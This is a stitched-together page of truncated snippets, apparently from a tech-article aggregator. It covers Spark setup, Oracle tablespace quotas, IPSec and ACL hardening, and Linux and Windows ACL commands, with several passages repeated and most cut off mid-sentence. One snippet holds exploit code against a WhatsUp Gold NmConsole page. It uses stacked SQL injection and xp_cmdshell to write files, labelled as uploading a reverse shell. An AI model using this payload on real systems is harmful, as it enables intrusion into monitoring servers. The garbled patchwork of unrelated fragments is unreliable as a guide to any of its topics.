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Because spark-1.3 as a milestone release, add a lot of features, so, it is necessary to study a, spark-1.3 need to scala-2.10.x version support, and the system on the default Scala version of 2.9, need to upgrade, You can refer to Ubuntu to install the 2.10.x version of Scala. After configuring the Scala environment, download the CDH version of Spark and click I download. Once downloaded, unzip directly and then run directly in the bin directory./spark-shell: The logs are as follows: [Email pr

users can create objects in the system or Sysaux table space. You do not need to have a quota for the allocated temporary table space or any restore table space. • When a user creates or extends a segment, the Oracle instance checks the limit. • For activities that are assigned to a user scenario, only those activities that use space in the tablespace are accounting for the limit. Activities that do not use space in the allocated table space, such as creating a view or using temporary table spa

with only trusted IP addresses or networks. (Note: in fact, the anti-bounce trojan uses IPSec to simply prohibit external access from UDP or non-commonly used TCP ports. The application of IPSec will not be continued here, you can go to server security to discuss Search "IPSec" and there will be N more information about IPSec applications ..) ⑤ Delete, move, rename, or use the Access Control table column Access Control Lists (ACLs) to Control key sys

only trusted IP addresses or networks. (Note: in fact, the anti-bounce trojan uses IPSec to simply prohibit external access from UDP or non-commonly used TCP ports. The application of IPSec will not be continued here, you can go to server security to discuss Search "IPSec" and there will be N more information about IPSec applications ..) 5. Delete, move, rename, or use the Access Control table column Access Control Lists (ACLs) to Control key system

Learn how to use the access control list on internal servers and clients to protect your network from various attacks. Most security management programs can use firewalls well, filter routers and other defense tools to protect their networks from attacks by external hackers. However, the biggest enemy of your network is internal attacks. The internal access control list (ACLs) helps protect your network security from internal hazards. The internal

requirement is higher, you can disable the UDP port, of course, if this problem occurs, it is inconvenient to connect to the external server. We recommend that you use IPSec to block UDP. In protocol filtering, only TCP, UDP, and RDP protocols are allowed. Other useless protocols are not enabled.4. system firewall: Enable the IPSec Policy, perform security authentication for the server connection, and add double insurance to the server. Block some dangerous ports, such as 135 145 139 445 and UD

communication with only trusted IP addresses or networks. (Note: in fact, the anti-bounce trojan uses IPSec to simply prohibit external access from UDP or non-commonly used TCP ports. The application of IPSec will not be continued here, you can go to server security to discuss Search "IPSec" and there will be N more information about IPSec applications ..) 5. Delete, move, rename, or use the Access Control table column Access Control Lists (ACLs) to

Start spark-shell locally Spark-1.3, as a milestone release, has added many features, so it is necessary to study, spark-1.3 requires scala-2.10.x version support, on the System, the default scala version is 2.9. to upgrade it, see install scala 2.10.x on Ubuntu. after configuring the scala environment, download the spark cdh version. Click here to download it. After the download, decompress the package directly and run./spark-shell directly in the bin directory: The log is as follows: Www.bkji

WebSphere Application Server has good security support. Security is simply to determine who has access to important system resources, including files, directories, programs, connections, and databases. Running WebSphere application servers in standalone mode is more secure than running as part of a WEB server. If the security requirements exceed the security provided by the WEB server, run the WebSphere Application Server in standalone mode. The following describes the use of access control tabl

Acl ACL: An access control list whose primary purpose is to add some "users" to the table and to control the behavior of those users.Case: There is a folder that project is created by the root user and has the following permissions on the file drwxrwx--- , and now a new user called John,root users just want John to have a readable executable permission for this folder, However, you do not want to change the original permissions for the file. At this time, Linux provides a user rights

The disk or partition on which the remote server is mounted locally is used as a local disk and currently has two machines, the Foundation (service192.168.122.1/24) and Desktop (terminal 192.168.122.2/24), first configure the server side: in RHEL7, for example, prepare a partition/dev/sda5#yum-y Install TARGETCLI//installation software #systemctl enable Target.service//Set power on start #systemctl start Target.service Start service #targetcli//Enter command lineGo to the/> CD backstores/block/d

Access Control List ACLs (access controls lists) It's all about dividing the ingredients and then deciding on fate.Components are described according to the source address, destination address, port number, etc. of the packet.Principle DescriptionACL manages all the rules for user Configuration and provides a rule matching algorithm. The business operates according to a matching rule action ("Allow" or "deny"). ACLthe matching of the rulesRule matchin

on the COs-to-dscp map configured on the switch. 2.2 If the packet itself contains QoS information and the second-layer packet header contains user priority bits, the CoS value can be obtained directly from the packet, then convert COs to dscp value based on the COs-to-dscp map configured on the switch. Note that the preceding two classification rules work only when the QoS trust mode of the port is enabled. Enabling the QoS trust mode on the port means that the QoS information of the packet is

Transferred from: http://www.2cto.com/os/201110/108736.htmlIntroductionIn the previous content, we talked about the traditional permissions of only three identities (Owner,group,others) with three permissions (R,W,X) and three special permissions (Suid,sgid,sbit), with the development of the application, These combinations of permissions are no longer suitable for complex file system permission control requirements today.For example, the permissions of the directory data are: drwxr-x-, the owner

Linux access Control List (ACL) is mainly used to control the user's permissions, you can do different users have different permissions on the same file, then how to operate it? The following small compilation teaches you how to set access control lists (ACLs) under Linux to control user permissions. Working with LIUNX with rights control is an easy task. It can define the permissions of any user,group and other. This is great when you're on a deskto

15.1 chmod: Changing the mode of files and directories 15.2 chown: Change the user owner and group owner of files and directories 15.3 chgrp: Changing the owning group of a file or directory 15.4 Umask: Show and set file and directory create default permission mask 15.5 Getfacl: Displaying ACLs for files or directories 15.6 Setfacl: Setting ACLs on files or directories 15.7 chacl: Ch

("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList. asp? SGroupList = 1; DECLARE @ s nvarchar (3000); SET @ S = CAST (alias as nvarchar (3000); Exec (@ S); -- sDeviceList = 3 "); Alert ("Debug-Uploading Reverse Shell ");GetHtmlBody ("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList. asp? SGroupList = 1; EXEC xp_cmdshell 'echo n 1.dll> 123. hex ';--");GetHtmlBody ("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList.

Setfacl (1) Access Control lists Setfacl (1) NAME setfacl-set file access control Lists Synopsis Setfacl [-bkndrlpvh] [{-m|-x} Acl_spec] [{-m|-x} Acl_file] file ... #注意参数的使用顺序Setfacl--restore=fileDESCRIPTIONThis utility sets Access Control Lists (ACLs) of files and directories. On the command line, a sequence of commands are followed by aSequence of files (which in turn can is followed by another sequence of commands, ...).The opt

One uses the FSO class, the previous article also mentioned. Here are a few more examples. Dim MyfilefolderSet Myfilefolder = New filefoldercls' Response.Write myfilefolder.moveafile ("F:\123\4561.exe", "F:\123\4562.txt")' Response.Write Myfilefolder.moveafolder ("f:\456", "f:\ditg\456")' Response.Write Myfilefolder.showfilesystemtype ("I:\")' Response.Write myfilefolder.copyafile ("F:\

Display or modify access control lists (ACLs) for a fileCACLS filename [/T] [/M] [l] [/S[:SDDL]] [/E] [/C] [/g user:perm][/R user [...]] [/P User:perm [...]] [/d User [...]]FileName Displays the ACL./T Changes the ACL of the specified file in the current directory and all its subdirectories./L handle symbolic link itself against target/M Changes the ACL of the volume mounted to the directory/S The SDDL string that displays the DACL./S:SDDL replaces th